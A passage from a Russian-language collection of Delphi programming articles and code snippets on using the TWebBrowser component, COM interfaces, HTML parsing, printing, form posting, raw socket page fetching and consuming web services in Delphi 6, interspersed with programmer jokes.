поддерживается объектом. При работе с СОМ, это пожалуй самый популярный вызов. В Dе1рhi он иногда вызывается явно, иногда неявно. Неявный вызов происходит при применении оператора as для интерфейсных ссылок. Интерфейс IUnnknown также декларирует два метода интерфейса AddRef и Release, которые ответственны за подсчет использования COM-обьекта (одно из требований к COM-обьектам - они должны уметь сами себя уничтожить, если в их услугах более никто не нуждается). Вам вряд ли придется вызывать эти методы напрямую, так как Delphi генерирует их вызовы автоматически. Сейчас, пожалуй, самое время время взглянуть на mshtml.pas - как видим он почти на 100% состоит из одних деклараций интерфейсов - ведь нам как клиенту важно знать спецификацию. И совсем не обязательно быть в курсе особенностей реализации. И напоследок два слова о нотификационных интерфейсах. Довольно часто бывает так, что COM-обьект должен сообщать клиенту о некоторых событиях. В таком случае клиент должен реализовать так называемый нотификационный интерфейс, который известен серверу и сообщить серверу о том, что им поддерживается этот интерфейс. Тогда сервер сможет извещать клиента об определенных событиях, делая вызовы методов нотификационного интерфейса. То есть в этом случае COM-сервер и клиент как бы меняются ролями.И снова об WebBrowser.
В нашем случае ActiveX нам предоставляет интерфейс IWebBrowser2 и ожидает от нас, что мы предоставим ему реализацию нотификационного интерфейса DWebBrowserEvents2 . К счастью, всю необходимую работу за нас сделал эксперт импорта ActiveX, "наследовав" TWebBrowser от TOleControl, инкапсулировав при этом IWebBrowser2 посредством соответствующих методов и свойств и реализовав обработчики для каждого метода нотификационного интерфейса.
Перед тем, как продолжить рассказ, хотелось бы обратить Ваше внимание на такой момент. Как Вы знаете, веб-документ может состоять из одного фрейма (более корректно - не иметь фреймов) или состоять из нескольких фреймов. Каждый фрейм - это тот же WebBrowser, который входит в WebBrowse более высокого уровня. WebBrowser самого верхнего уровня и есть тот AxtivX, который инкапсулируется VCL-компонентом TWebBrowser. Он как бы живет все время, пока живет TWebBrowser, тогда как WebBrowser более нижнего уровня могут динамически создаваться и уничтожатся в зависимости от того, делаем мы навигацию к много-фреймовым или к одно-фреймовым документам. Так вот, к методам WebBrowser верхнего уровня мы можем получить доступ как через методы и свойства соответствующего TWebBrowser, так и через соответствующие интерфейсные ссылки. К методам "вложенных" WebBrowser - только через интерфейсные ссылки. Интерфейсную ссылку на WebBrowser верхнего уровня можно получить через свойство TWebBrowser.ControlInterface или через TWebBrowser.DefaultInterface Получить интерфейсные ссылки на WebBrowser нижнего уровня можно посредством простого парсинга или при помощи некоторых обработчиков событий, которые сопровождают процесс навигации (но об этом ниже).Рассмотрим вкратце сначала основные методы и свойства "от" IWebBrowser2, а затем обработчики "от" DWebBrowserEvents2 .
В первую очередь следует упомянуть метод Navigate. Этот метод дает команду WebBrowser начать навигацию к указанному ресурсу. Синтаксис этого метода следующий:procedure Navigate(const URL: WideString; var Flags: OleVariant; var TargetFrameName: OleVariant; var PostData: OleVariant; var Headers: OleVariant); overload;Здесь URL - адресс навигации для значения Flags определены такие константы: navOpenInNewWindow 1 - открывает URL в новом окне браузера по умолчанию. То есть, в IE. Как заставить открыть URL в новом екземпляре нашего броузера я раскажу ниже при описании обработчика OnNewWindow2 navNoHistory 2 - не заносит адрес в список History. navNoReadFromCache 4 - не использует сохраненную в кеше страницу, а загружает с сервера. navNoWriteToCache 8 - не записывает страницу в дисковый кеш. navAllowAutosearch 16 - если броузер не может найти указанный домен, он передает его в поисковый механизм. TargetFrameName - определяет целевой фрейм по имени. Если присвоить system.NULL (или имя несуществующего фрейма ) страница просто загрузиться в текущий броузер PostData - определяет данные для передачи на сервер. Headers - определяет HTTP-хидер для передачи на сервер. Пример вызова этого метода для обычной навигации можно посмотреть в примере, ссылка на который была выше. Для передачи данных можно воспользоваться следующим фрагментом кода, который предложен Hans Gulo:
procedure TForm1.SubmitPostForm;
var
strPostData: string;
Data: Pointer;
URL,
Flags,
TargetFrameName,
PostData, Headers: OleVariant;
begin
{ <!-- submit thishtml form:-->
<form method="post" action= "http://127.0.0.1/cgi-bin/register.pl">
<input name= "FIRSTNAME" value="Hans">
<input name= "LASTNAME" value="Gulo">
<inputname="NOTE"value="thatsit">
<inputtype="submit"value="thatsit"></form>}
strPostData := 'FIRSTNAME=Hans&LASTNAME=Gulo&NOTE=thats+it';
PostData := VarArrayCreate([0, Length(strPostData) - 1], varByte);
Data := VarArrayLock(PostData);
try
Move(strPostData[1], Data^, Length(strPostData));
finally
VarArrayUnlock(PostData);
end;
URL := 'http://127.0.0.1/cgi-bin/register.pl';
Flags := EmptyParam;
TargetFrameName := EmptyParam;
Headers := EmptyParam; // TWebBrowser will see that we are providing
// post data and then should automatically fill
// this Headers with appropriate value
WebBrowser1.Navigate2(URL, Flags, TargetFrameName, PostData, Headers);
end;
Важным есть property Busy . Если это свойство активно (равно True), то это свидетельствует о том, что наш АктивИкс еще не закончил загрузки страницы или выполняет некоторую команду. И может быть, что он проигнорирует новую команду. Так что в этом случае лучше подождать, когда это свойство станет равным false (или когда идет загрузка, то остановить ее можно с помощью метода Stop).
Теперь несколько слов о событиях, которые сопровождают процесс загрузки. Они, как отмечалось выше, есть своего "продолжение" соответствующих методов DWebBrowserEvents2 . Наиболее существенными из них есть (они возникают для каждого фрейма): OnBeforeNavigate2 Возникает при попытке начать навигацию. Из параметров наиболее существенным есть pDisp: IDispatch;. Этот параметр определяет броузер, который начинает навигацию. Для многофреймового документа этот броузер может не соответствовать броузеру верхнего уровня. К сожалению, этот обработчик не вызывается при вызове метода Refresh. OnNavigateComplete2 Возникает, когда попытка навигации была успешной. Наблюдение за WebBrowser позволяют сделать предположение, что это событие возникает после того, как с сервера придет первая порция данных. Документ еще продолжает загружаться. OnDocumentComplete Возникает при окончании загрузки в независимости от того, был ли документ загружен полностью или нет. К сожалению нет простого критерия для определения того, была ли страница загружена полностью или нет. Как решить єту проблему я попытаюсь рассказать в следующих статьях этого цикла. OnNewWindow2 Возникает при попытке открыть документ в новом окне. Если Вы хотите, чтобы документ был открыт в Вашем экземпляре броузера, то Вам нужно создать свой экземпляр броузера и параметру ppDisp присвоить интерфейсную ссылку на этот экземпляр: procedure TFormSimpleWB.WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool); var newForm: TFormSimpleWB; begin newForm := TFormSimpleWB.Create(Application); newForm.Show; ppDisp := newForm.WebBrowser1.ControlInterface; end;С остальными методами должно быть более-менее понятно из их названия. Если это не так - можно посмотреть уже упоминаемую статью Александра Лозовюка. Но на остаток я хотел бы немного рассказать еще о двух свойствах, при использование которых можно немного попасть впросак. Первым делом это TWebBrowser.Document:IDispatch . Через это свойство можно получить доступ к интерфейсу IHtmlDocument2.. Далее через этот интерфейс можно получить доступ к большинству средств по взаимодействию с загруженным документом. То есть это очень интересное и "нужное" свойство. Но немного забегая наперед, скажу, что если Вы попытаетесь использовать TWebBrowser.Document:IDispatch, то Вы рано или поздно заметите довольно странную "утечку" памяти в процессе навигации. В чем же дело? После анализа ситуации, удалось определить, что для любой интерфейсной ссылки на документ, которая получена через этот свойство, счетчик использования "необоснованно" увеличивается на 1 и соответствующий COM-обьект никогда не будет освобожден. При более детальном изучении нашлась и создательница этой проблемы - function TOleControl.GetIDispatchProp(Index: Integer): IDispatch;, через которую и работает TWebBrowser.Document:IDispatch (я речь веду о Delphi5, возможно в Delphi4 все нормально, не проверял). Детальный рассказ об этой ситуации выходит за рамки этой статьи.. К счастью эту проблему легко обойти, использовав для получения IHtmlDocument2 альтернативные возможности, хотя бы WebBrowser1.ControlInterface.Document . Также хочется упомянуть о property LocationURL: WideString; Как утверждается в вышеупомянутой статье Александра Лозовюка , оно содержит URL ресурса, загруженного в браузер. Того же мнения придерживается и контекстная справка от Delphi5. Мало того - об этом также говорится в MSDN . - во всяком случае так было на момент написания статьи ... Но это не совсем так. Дополним наш "шедевр" обработчиком события окончания загрузки документа:
implementation
{$R *.DFM}
uses mshtml;
procedure TFormSimpleWB.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
begin //
Caption := WebBrowser1.LocationURL + ' || ' +
((pDisp as IWebBrowser).Document as IHtmlDocument2).URL;
end;
Обратите внимание на включение модуля mshtml, который позволяет использовать функциональность mshtml.dll. Перед тем как продолжить рассказ я снова вынужден сделать маленькое отступление в сторону COM. Обратите внимание, как имея в руках интерфейс типа IDispatch от броузера (параметр pDisp), который закончил загрузку документа (это можно подсмотреть в описании события DocumentComplete в MSDN ), мы посредством "as" получаем интерфейс типаьIWebBrowser на тот же объект (здесь имеем неявный вызов QueryInterface). Этот интерфейс при помощи свойства Documentпьозволяет нам получить интерфейс IHtmlDocument2 к загруженому документу. И вот в конце-концов через этот интерфейс мы можем обратится к интересующему нас свойству URL , которое и возвращает адрес того ресурса, который в действительности загружен в браузер (а property LocationURL говорит только о том, что мы броузеру сказали загружать). Да, нам еще не раз придется продиратся через такие дебри интерфейсов, свойств и запросов. И что наиболее печально - MSDN не всегда внятно говорит где и от кого можно запросить интересующий нас интерфейс ... Также на первых порах вызывает недоумение тот факт, почему тот же IWebBrowser.Document есть типа IDispatch, а не хотя бы тот же IHtmlDocument2. Но это довольно легко понять, если вспомнить во первых, что WebBrowser позволяет работать с ним разного рода скриптовым языкам, а во вторых, что интерфейс IDispatch позволяет вызывать свойства и методы по имени (что собственно и делают скриптовые языки). В принципе, мы бы также работать в Delphi с WebBrowser в стиле скриптовых языков, но я сознательно не привожу примеров такого подхода, так как он чреват возникновением разного рода ошибок, которые можно будет обнаружить только во время выполнения (и которые отсеиваются на этапе компиляции при использовании "нормальных" интерфейсов). Но довольно теории - сделаем маленький эксперимент: запустим "шедевр" на выполнение и дадим команду навигации на заведомо отсутствующий ресурс. И что же мы видим:
Взглянем на заголовок окна нашей формы - до символов || есть значение, которое возвращает property LocationURL , после - действительный адрес того ресурса, который отображается браузером по окончании загрузки. Прошу понять меня правильно - этот пример я привел с целью еще один раз показать, что даже в фирменных материалах бывают неточности ... К сожаленью, такие неточности нам обходятся иногда очень дорого ...
Простой парсинг А теперь пожалуй пришло время очень сильно подружится с интерфейсами, ибо вся работа с основными вкусностями WebBrowser возможна только через них. Декларации основных интерфейсов Вы найдете в модулях mshtml и SHDocVw. Перед тем, как организовать взаимодействие с составляющими документа, естественно что нужно этот документ разобрать на составляющие, то есть провести парсинг. Это довольно просто можно сделать при помощи интерфейса IHtmlDocument2, который предоставляет средства по доступу к документу, который загружен в соответствующий броузер. Сам же IHtmlDocument2 можно получить, имея "в руках" интерфейс IWebBrowser2 на броузер, в котором этот документ содержится. Как уже отмечалось, для документа самого верхнего уровня это сделать довольно просто:
var
doc: IHtmlDocument2;
.....
if assigned(WebBrowser1.ControlInterface.Document) then
WebBrowser1.ControlInterface.Document.QueryInterface(IHtmlDocument2, doc);
Хотел бы обратить Ваше внимание на условие "if" - это связано с тем, что если броузер еще не делал навигации, то свойство Document не будет проинициализировано. Также я надеюсь, Вы помните, почему используется конструкция WebBrowser1.ControlInterface.Document а не WebBrowser1.Document
А как же получить доступ к вложенным фреймам?
Это можно сделать как минимум двумя способами Первый: Использовать OnDocumentComplete для получения интерфейса к броузеру каждого фрейма, примерно так, как приводилось выше в примере procedure TFormSimpleWB.WebBrowser1DocumentComplete Второй: Использовать свойства самого IHtmlDocument2 для получения доступа к фреймам. Понятно, что нужно иметь доступ к IHtmlDocument2 самого верхнего уровня. Пример реализации этого подхода:
type
TDoerOneDoc = procedure(iDoc: IHtmlDocument2);
procedure DoWithFrames(iDoc: IHtmlDocument2; aDoer: TDoerOneDoc);
{ процедура aDoer будет вызвана для каждого IHtmlDocument2, начиная с главного
и для каждого IHtmlDocument2 с любого уровня вложенности фреймов}
var
frames: IHTMLFramesCollection2;
i: integer;
ov1: OleVariant;
iDisp: IDispatch;
IWindow2: IHTMLWindow2;
begin
if not assigned(aDoer) then
Exit;
aDoer(iDoc);
frames := iDoc.frames;
if not assigned(frames) then
exit;
if frames.length = 0 then
exit;
for i := 1 to frames.length do
begin
ov1 := i - 1;
try
iDisp := frames.item(ov1);
iDisp.QueryInterface(IHTMLWindow2, IWindow2);
if assigned(IWindow2) then
DoWithFrames(IWindow2.document, aDoer);
except
{ ShowMessage('Find error !!!');}
end;
end;
end;
Итак, имея в руках IHtmlDocument2 можно приступить и к парсингу ...
Наиболее простой способ для этого - использование метода All интерфейса IHtmlDocument2, который позволяет получить список или всех тегов или только тегов определенного вида. Посмотрим пример для получения списка всех тегов:
procedure TFormSimpleWB.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
var
i: integer;
iDoc: IHtmlDocument2;
iDisp: IDispatch;
iElement: IHTMLElement;
iInputElement: IHTMLInputElement;
S: string;
begin
Memo1.Clear;
iDoc := (pDisp as IWebBrowser).Document as IHtmlDocument2;
for i := 1 to iDoc.All.Get_length do
begin
iDisp := iDoc.Get_all.item(pred(i), 0);
iDisp.QueryInterface(IHTMLElement, iElement);
Str(pred(i), S);
S := S + '';
if assigned(iElement) then
begin
S := S + 'tag=' + iElement.Get_tagName + ' ';
iElement.QueryInterface(IHtmlInputElement, iInputElement);
if assigned(iInputElement) then
begin
S := S + 'name=' + iInputElement.Get_name;
end;
Memo1.Lines.Add(S);
end;
end;
end;
Как Вы догадались, здесь тип каждого тега заносится в компонент TMemo. Также делается попытка определить, есть ли очередной тег элементом ввода (поддерживает ли он соответствующий интерфейс), и если это так, то делается попытка получить значение специфического для элементов ввода свойства.
Далее посмотрим пример получения списка тегов определенного типа:
procedure TFormSimpleWB.btPutDataClick(Sender: TObject);
var
iDoc: IHtmlDocument2;
i: integer;
ov: OleVariant;
iDisp: IDispatch;
iColl: IHTMLElementCollection;
iInputElement: IHTMLInputElement;
begin //
WebBrowser1.ControlInterface.Document.QueryInterface(IHtmlDocument2, iDoc);
if not assigned(iDoc) then
begin
ShowMessage(' !!!??? Nothing dowloaded ... ');
Exit;
end;
ov := 'INPUT';
IDisp := iDoc.all.tags(ov);
if assigned(IDisp) then
begin
IDisp.QueryInterface(IHTMLElementCollection, iColl);
if assigned(iColl) then
begin
for i := 1 to iColl.Get_length do
begin
iDisp := iColl.item(pred(i), 0);
iDisp.QueryInterface(IHTMLInputElement, iInputElement);
if assigned(iInputElement) then
begin
if iInputElement.Get_name = 'mn' then
iInputElement.Set_value('Ihor');
if iInputElement.Get_name = 'pw' then
iInputElement.Set_value('PASSWORD');
end;
end;
end;
end;
end;
В этом примере получаем список тегов типа "INPUT", а потом для некоторых тегов (которые отбираем по имени) делается попытка сделать "ввод данных". Полностью этих два примера (как проект) можно взять здесь (4k).
Ну, для начала пожалуй и хватит. Если у Вас есть вопросы к автору, их можно задать на http://www.talk.ru/forum/talk.ru.delphi.webbrowser, ведущим которого является автор этой статьи. Вполне возможно, что Ваши вопросы подскажут направление продолжения этой статьи.
Сохранить страницу в WebBrowser на диск.
| Договорились встретиться ламер, юзер и хакер. Ламер и хакер пришли вовремя, а юзер опоздал. Приходит с огромной книгой и говорит: - Извините! Купил книгу по TCP/IP да зачитался. Ламер: - А что такое TCP/IP? Хакер: - А что такое книга?? |
uses
ActiveX, MSHTML_TLB, SHDocVw_TLB,
ComCtrls, OleCtrls;
procedure TForm1.Button1Click(Sender: TObject);
var
HTMLDocument: IHTMLDocument2;
PersistFile: IPersistFile;
begin
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
PersistFile := HTMLDocument as IPersistFile;
PersistFile.Save(StringToOleStr('c:\SavedFile.html'), System.True);
end;
|
Распечатать страницу в TWebBrowser.
procedure TForm1.Button1Click(Sender: TObject);
begin
WebBrowser1.Navigate('http://www.SwissDelphiCenter.com');
end;
// Print without Printer Dialog
procedure TForm1.Button2Click(Sender: TObject);
var
vaIn, vaOut: OleVariant;
begin
WebBrowser1.ControlInterface.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER,
vaIn, vaOut);
end;
// Print with Printer Dialog
procedure TForm1.Button3Click(Sender: TObject);
var
vaIn, vaOut: OleVariant;
begin
WebBrowser1.ControlInterface.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER,
vaIn, vaOut);
end;
// Print Preview
procedure TForm1.Button4Click(Sender: TObject);
var
vaIn, vaOut: OleVariant;
begin
WebBrowser1.ControlInterface.ExecWB(OLECMDID_PRINTPREVIEW,
OLECMDEXECOPT_DONTPROMPTUSER, vaIn, vaOut);
end;
// Page Setup Dialog
procedure TForm1.Button5Click(Sender: TObject);
var
vaIn, vaOut: OleVariant;
begin
WebBrowser1.ControlInterface.ExecWB(OLECMDID_PAGESETUP, OLECMDEXECOPT_PROMPTUSER,
vaIn, vaOut);
end;
// as of Internet Explorer 4
|
Работа с печатью в TWebBrowser.
Автор: http://www.swissdelphicenter.ch
{
TWebBrowser can use native IE API to print and do other things.
Implement on a Form a TWebBrowser component, and a button to print.
The code attached to this button is as follow :
}
procedure TForm.OnClickPrint(Sender: TObject);
begin
WebBrowser.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
end;
You can replace "OLECMDID_PRINT" by other possibilities :
OLECMDID_OPEN OLECMDID_NEW OLECMDID_SAVE OLECMDID_SAVEAS OLECMDID_SAVECOPYAS OLECMDID_PRINT OLECMDID_PRINTPREVIEW OLECMDID_PAGESETUP OLECMDID_SPELL OLECMDID_PROPERTIES OLECMDID_CUT OLECMDID_COPY OLECMDID_PASTE OLECMDID_PASTESPECIAL OLECMDID_UNDO OLECMDID_REDO OLECMDID_SELECTALL OLECMDID_CLEARSELECTION OLECMDID_ZOOM OLECMDID_GETZOOMRANGE OLECMDID_UPDATECOMMANDS OLECMDID_REFRESH OLECMDID_STOP OLECMDID_HIDETOOLBARS OLECMDID_SETPROGRESSMAX OLECMDID_SETPROGRESSPOS OLECMDID_SETPROGRESSTEXT OLECMDID_SETTITLE OLECMDID_SETDOWNLOADSTATE OLECMDID_STOPDOWNLOAD OLECMDID_FIND OLECMDID_ONTOOLBARACTIVATED OLECMDID_DELETE OLECMDID_HTTPEQUIV OLECMDID_ENABLE_INTERACTION OLECMDID_HTTPEQUIV_DONE OLECMDID_ONUNLOAD OLECMDID_PROPERTYBAG2 OLECMDID_PREREFRESHПоказать диалог свойства TWebBrowser.
| - Сколько на свете дураков есть - ума не приложу! - Что случилось? - Да сказал я вчера одному "сходи на сайт". - И? - Так после него компьютер сушить пришлось! |
// Show the "Properties Dialog"
// Den Eigenschaften Dialog anzeigen
procedure TForm1.Button1Click(Sender: TObject);
var
eQuery: OLECMDF;
vaIn, vaOut: OleVariant;
begin
try
eQuery := Webbrowser1.QueryStatusWB(OLECMDID_PROPERTIES);
if (eQuery and OLECMDF_ENABLED) = OLECMDF_ENABLED then
Webbrowser1.ExecWB(OLECMDID_PROPERTIES, OLECMDEXECOPT_PROMPTUSER, vaIn, vaOut);
except
end;
end;
|
Отправить данные формы с помощью WebBrowser.
| После установки на орбитальном комплексе "Мир" нового компьютера российские космонавты наконец-то смогли соединиться с Интернетом и купить там много полезных вещей: например, цифровую видеокамеру, крутую стереосистему, плюшевого мишку и новую космическую станцию. |
procedure TForm1.Button1Click(Sender: TObject);
var
i: Integer;
EncodedStr: string;
Header: OleVariant;
Post: OleVariant;
begin
// Make the post string URL encoded
EncodedStr := 'name=SwissDelphiCenter.ch&text=Test Guestbook entry';
// The post must be an array. But without null terminator (-1)
Post := VarArrayCreate([0, Length(EncodedStr) - 1], varByte);
// Put Post in array
for I := 1 to Length(EncodedStr) do
Post[I - 1] := Ord(EncodedStr[I]);
Header := 'Content-Type: application/x-www-form-urlencoded' + #10#13;
WebBrowser1.Navigate('http://www.swissdelphicenter.ch/en/addguestsent.php', EmptyParam,
EmptyParam, Post, Header);
end;
|
Как проверить, является ли текущее соединение в TWebBrowser Secure (SSL).
Автор: http://www.swissdelphicenter.ch
// You need a TWebbrowser, a TLabel
procedure TForm1.WebBrowser1DocumentComplete(Sender: TObject;
const pDisp: IDispatch; var URL: OleVariant);
begin
if Webbrowser1.Oleobject.Document.Location.Protocol = 'https:' then
label1.Caption := 'Sichere Verbindung'
else
label1.Caption := 'Unsichere Verbindung'
end;
WEB страничка внутри Delphi приложения.
| В слове "Веб" не хватает твердого знака после буквы "В". |
Многие из Вас спрашивают, как сделать, чтобы приложением могло содержать в себе различные компоненты в стиле Web, включая HTML ресурсы и картинки, которые являются частью Вашего проекта. Статья показывает, как можно легко добавить в Delphi приложение HTML и связанные с ним файлы (картинки).
Создание HTML страницы
Для начала мы должны создать простую страницу HTML. Для этого можно использовать Ваш любимый HTML редактор, и создать одну страницу с одним изображением. К примеру, назовём этот файл aboutindex.htm. Обратите внимание, что, когда Вы добавляете тэг картинки внутрь htm страницы, то в исходнике страницы будет присутствовать следудующая строка:
<img src="../graphics/adp.gif" ...> |
Нам необходимо подправить тэг IMG так, чтобы атрибут SRC равнялся имени, которое мы указали в ресурсах:
<img src="ABOUTDP" ...> |
У меня HTML код выглядит следующим образом:
<HTML>
<HEAD>
<TITLE>HTML inside a Delphi exe</TITLE>
</HEAD>
<BODY>
This is a HTML Delphi World resource test:<br>
<img src="ABOUTDP" width=106 height=58 border=0 alt="">
</BODY>
</HTML>
|
Создание и компиляция файла ресурсов
Запомните, что для того, чтобы создать новый скрипт-файл ресурсов, необходимо:
Создать новый текстовый файл в директории Вашего проекта. Переименовать его в AHTMLDelphi.rc. Добавить следующие две строки текста в файл AHTMLDelphi.rc.
DELPHIINDEX HTML "c:\Delphi\projects\aboutindex.htm" ABOUTDP GIF "c:\library\graphics\adp.gif" |
Обратите внимание, что "HTML" тип ресурса RT_HTML, определён как "23". Это значение является дефолтовым для протокола RES.
Таким образом мы подготовили одну HTML страницу и одну картинку GIF, которые будут включены в исполняемый EXE модуль.
Следующий шаг - это компиляция .rc файла. Для компиляции файла AHTMLDelphi.rc в файл .res, выполните следующую команду из командной строки (в директории Вашего проекта):
BRCC32 AHTMLDelphi.RC |
Заключительный шаг - это добавление следующей директивы компилятора в unit Вашего проекта. Следующая строка заставляет компилятор включить в проект файл RES:
{$R AHTMLDelphi.RES}
|
Отображение внутри Web браузера
После того, как Вы получите экзешник приложения (назовём его, например, myhtmldelphi.exe), то HTML ресурсы, содержащиеся в нём, могут быть доступны через протокол RES: . Запустите Internet Explorer и, адресной строке напишите следующее:
res://c:\myhtmldelphi.exe/DELPHIINDEX |
Как получить страницу с вебсервера при помощи TClientSocket и поместить её в строковую переменную.
Автор: E.J.Molendijk
{
Присоедините следующий обработчик к Вашему TClientSocket.
Он получает файл с сервера и помещает его в строковую переменную
FText string variable. Однако он не убирает заголовок, который
так же посылается вебсервером.
Не забудьте задать правильный адрес сервера в объекте Socket.
Установите порт 80. А затем откройте его при помощи команды
"Socket.Open;".
Автор: E.J.Molendijk
}
const
WebPage = '/index.html';
var
FText: string;
procedure TForm1.SocketWrite(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText('GET ' + Webpage + ' HTTP/1.0'#10#10);
end;
procedure TForm1.SocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
FText := FText + Socket.ReceiveText
end;
procedure TForm1.SocketConnecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
FText := '';
end;
procedure TForm1.SocketDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
{ --- }
{ ЗДЕСЬ ВЫ МОЖЕТЕ ОБРАБАТЫВАТЬ ВАШ FText !!! }
{ --- }
end;
procedure TForm1.SocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0; { Ошибки игнорируем }
end;
|
Delphi6 и Web-сервисы.
Оформил: DeeCo
В настоящей статье мы вновь возвращаемся к уже неоднократно обсуждавшейся нами теме Web-сервисов, представляющих собой технологию интеграции Web-приложений. Сегодня мы рассмотрим, как можно использовать Web-сервисы в Windows-приложениях, созданных с помощью Borland Delphi 6, а также как с помощью этого же средства разработки создавать собственные Web-сервисы. Отметим, что на момент написания данной статьи, когда выход окончательной версии Visual Studio .Net еще только ожидается в обозримом будущем, Delphi 6 является единственным средством разработки, поддерживающим создание Web-сервисов.
В течение последних нескольких лет мы наблюдаем качественные изменения, которые претерпевает World Wide Web. Если еще пять-семь лет назад WWW представляла собой главным образом совокупность серверов, содержащих статические документы со ссылками друг на друга, то современный Web практически невозможно представить без интерактивных Web-приложений, обрабатывающих и помещающих в базы данных пользовательский ввод, динамически генерирующих страницы на скриптовых языках по запросу пользователя и обслуживающих таким образом тот или иной бизнес, равно как и без широкого спектра технологий, реализующих подобную функциональность (CGI, ISAPI, ASP, JSP и т.д.).
Отметим, однако, что эволюция WWW не остановилась на Web-приложениях. Взаимная интеграция бизнесов различных компаний, происходящая сейчас во всем мире, неизбежно влечет за собой появление технологий и стандартов интеграции обслуживающих их приложений и корпоративных информационных систем. Наиболее популярной технологией такой интеграции в настоящее время следует назвать обмен данными в формате XML (eXtensible Markup Language) по протоколу SOAP (Simple Object Access Protocol) и создание Web-сервисов, применяющих подобный обмен данными.
Web-сервис — это, по существу, объект, реализующий один или несколько методов, к которым можно обращаться через Internet из какого-либо другого приложения. Для описания методов, предоставляемых конкретным Web-сервисом (то есть его программного интерфейса), создается и делается доступным специальный документ на языке WSDL (Web Service Definition Language), являющемся подмножеством языка XML. Отметим, что для поиска Web-сервисов в Сети планируется использовать реестры UDDI (Universal Description, Diiscovery and Integration), в которых Web-сервисы регистрируются их провайдерами для того, чтобы их могли найти разработчики. Web-сервисы, по существу, позволяют создавать распределенные приложения, части которых могут функционировать на любых платформах и располагаться в произвольных местах, что делает эту технологию весьма привлекательным средством интеграции корпоративных приложений. Более подробно о стандартах и средствах разработки Web-сервисов можно прочесть в статье Алексея Федорова «Web нового поколения — Web-сервисы» (см. КомпьютерПресс № 6’2001).
Поскольку Web-сервисы являются относительно новой технологией, о поддержке их применения и тем более создания на уровне компонентов, классов или экспертов для их создания во всех без исключения средствах разработки говорить пока еще рано. Отметим, однако, что такие средства разработки уже имеются или должны появиться в ближайшем будущем. В частности, создание Web-сервисов поддерживается в Delphi 6, выпущенной летом нынешнего года. Ниже мы рассмотрим два простейших примера, иллюстрирующих возможности применения и создания Web-сервисов с помощью этого очень популярного в нашей стране средства разработки. Предполагается, что с созданием приложений с помощью Delphi читатели уже знакомы.
Использование Web-сервиса в приложенииДля создания клиентского приложения, использующего готовый Web-сервис, следует в общем случае иметь подключение к Internet на время разработки, поскольку в процессе создания такого приложения требуется обращение к WSDL-файлу. В данном примере мы воспользуемся одним из бесплатных или shareware-сервисов, ссылки на которые можно найти в Web, например на сайте http://www.xmethods.org/ (список некоторых общедоступных Web-сервисов различных производителей на этом сайте представлен и в виде обычной HTML-страницы, и как UDDI-интерфейс и насчитывает на сегодня несколько десятков более или менее полезных Web-сервисов).
Выберем для создания примера Web-сервис Temperature Converter, разработанный британской компанией Lucin (http://www.lucin.com/). WSDL-описание этого сервиса находится по адресу http://sal006.salnetwork.com:83/a1vbcode/temperature/ctemperature.xml.
Для начала запустим Delphi 6 и создадим проект обычного Windows-приложения. Затем, выбрав из среды разработки пункт меню File | New | Other, откроем репозитарий объектов и выберем в нем на странице Web Services пиктограмму Web Sertvice Importer.
Далее в строке WSDL or XML Schema Location (Filename or URL) диалогового окна Web Services Import следует ввести URL WSDL-файла, содержащего описание выбранного нами Web-сервиса — http://sal006.salnetwork.com:83/a1vbcode/temperature/ctemperature.xml.
После этого среда разработки обратится по указанному адресу к этому файлу и на его основе сгенерирует модуль, содержащий интерфейс для активизации Web-сервиса и доступа к его методам (наследник интерфейса IInvokable). В данном случае сгенерированный код имеет следующий вид:
unit cln2;
interface
uses Types, XSBuiltIns;
type
Temperature_ctemperaturePortType = interface(IInvokable)
['{B71C70ED-370D-4FC5-914C-496FFB5BA3ED}']
function CelsiusToFahrenheit(const Celsius: Double): Double; stdcall;
function FahrenheitToCelsius(const Fahrenheit: Double): Double; stdcall;
function FahrenheitToKelvin(const Fahrenheit: Double): Double; stdcall;
function CelsiusToKelvin(const Celsius: Double): Double; stdcall;
function KelvinToCelsius(const Kelvin: Double): Double; stdcall;
function KelvinToFahrenheit(const Kelvin: Double): Double; stdcall;
end;
implementation
uses InvokeRegistry;
initialization
InvRegistry.RegisterInterface(TypeInfo(Temperature_ctemperaturePortType), '',
'', '', 'Temperature.ctemperaturePortType');
end.
Как мы видим, используемый Web-сервис реализует шесть методов, конвертирующих друг в друга разные температурные шкалы. Воспользуемся одним из них — FahrenheitToCelsius, переводящим значение температуры в градусах Фаренгейта в соответствующее значение в градусах Цельсия (это любимая задача российских граждан, изучающих прогнозы погоды с помощью американских сайтов). Сошлемся на сгенерированный модуль из модуля, связанного с главной формой приложения с помощью пункта меню File | Use Unit.
Далее следует позаботиться о наличии в приложении объекта, отвечающего за удаленную активизацию Web-сервиса и, следовательно, хранящего сведения о его местоположении. Для этой цели в палитре компонентов на странице Web Services имеется компонент THTTPRIO (RIO означает Remote Invokable Object). Поместим этот компонент на форму и присвоим его свойству WSDLLocation URL WSDL-описания Web-сервиса. После этого попытаемся установить значения свойства Service (это свойство содержит список интерфейсов, предоставляемых Web-сервисом, — их имена уже имеются в сгенерированном интерфейсном модуле) или свойства Port (содержит имя порта, определенного в WSDL-файле и устанавливающего местоположение Web-сервиса, и протокол, применяемый для обращения к нему). Среда разработки снова обратится к WSDL-описанию Web-сервиса, получив на его основе сведения о местоположении сервиса и его интерфейсах. Вот так выглядит фрагмент WSDL-файла, содержащий эти сведения:
[an error occurred while processing this directive]port name = ”Temperature.ctemperaturePort” binding = ”tns: Temperature.ctemperaturebinding”; soap: address location = ”http: //sal006.salnetwork.com:82/bin/converter.cgi"
После этого свойства Service и Port можно будет выбрать из выпадающих списков.
